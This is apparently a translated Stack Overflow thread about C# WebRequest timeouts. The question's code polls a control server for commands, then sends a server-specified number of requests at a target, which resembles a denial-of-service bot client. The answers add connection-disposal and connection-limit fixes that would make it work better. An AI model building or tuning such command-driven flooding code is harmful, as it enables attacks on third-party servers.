我有一个很大的问题:我需要一次发送200个对象并避免超时。
while (true)
{
NameValueCollection data = new NameValueCollection();
data.Add("mode", nat);
using (var client = new WebClient())
{
byte[] response = client.UploadValues(serverA, data);
responseData = Encoding.ASCII.GetString(response);
string[] split = Javab.Split(new[] { '!' }, StringSplitOptions.RemoveEmptyEntries);
string command = split[0];
string server = split[1];
string requestCountStr = split[2];
switch (command)
{
case "check":
int requestCount = Convert.ToInt32(requestCountStr);
for (int i = 0; i < requestCount; i++)
{
Uri myUri = new Uri(server);
WebRequest request = WebRequest.Create(myUri);
request.Timeout = 200000;
WebResponse myWebResponse = request.GetResponse();
}
break;
}
}
}这会产生以下错误:
Unhandled Exception: System.Net.WebException: The operation has timed out
at System.Net.HttpWebRequest.GetResponse()
at vir_fu.Program.Main(String[] args)requestCount循环在我的基代码之外工作得很好,但是当我将它添加到我的项目中时,我得到了这个错误。我试过设置request.Timeout = 200;,但是没有用。
发布于 2009-08-01 00:55:55
这是它所说的意思。操作花费的时间太长,无法完成。
顺便说一句,看看WebRequest.Timeout,你会看到你已经设置了1/5秒的超时。
发布于 2009-08-01 06:12:57
关闭/释放WebResponse对象。
发布于 2009-08-01 01:05:22
我不确定你在哪里使用WebClient.UploadValues的第一个代码样本,这还不够继续,你能粘贴更多你周围的代码吗?关于您的WebRequest代码,这里有两件事在起作用:
如果你不想要响应的正文(或者你刚刚上传或POSTed了一些东西,并不期望得到响应),只需关闭流,或者关闭客户端,这将为你关闭流。
解决此问题的最简单方法是确保在可处理对象上使用using blocks:
for (int i = 0; i < ops1; i++)
{
Uri myUri = new Uri(site);
WebRequest myWebRequest = WebRequest.Create(myUri);
//myWebRequest.Timeout = 200;
using (WebResponse myWebResponse = myWebRequest.GetResponse())
{
// Do what you want with myWebResponse.Headers.
} // Your response will be disposed of here
}另一种解决方案是允许到同一主机的200个并发连接。但是,除非您计划对此操作进行多线程处理,因此需要多个并发连接,否则这对您没有真正的帮助:
ServicePointManager.DefaultConnectionLimit = 200;当您在代码中获得超时时,最好的做法是尝试在您的代码之外重新创建该超时。如果不能,那么问题可能出在您的代码上。为此,我通常使用cURL,如果是一个简单的GET请求,则只使用web浏览器。
**实际上,您实际上是从响应中请求第一块数据,其中包含HTTP头和正文的开头。这就是为什么在从输出流读取之前可以读取HTTP头信息(如Content-Encoding、Set-Cookie等)的原因。当您读取流时,将从服务器检索进一步的数据。WebRequest与服务器的连接一直保持打开,直到您到达该流的末尾(有效地关闭它,因为它是不可找到的),手动关闭它,否则它会被处理掉。There's more about this here。
https://stackoverflow.com/questions/1215488
复制相似问题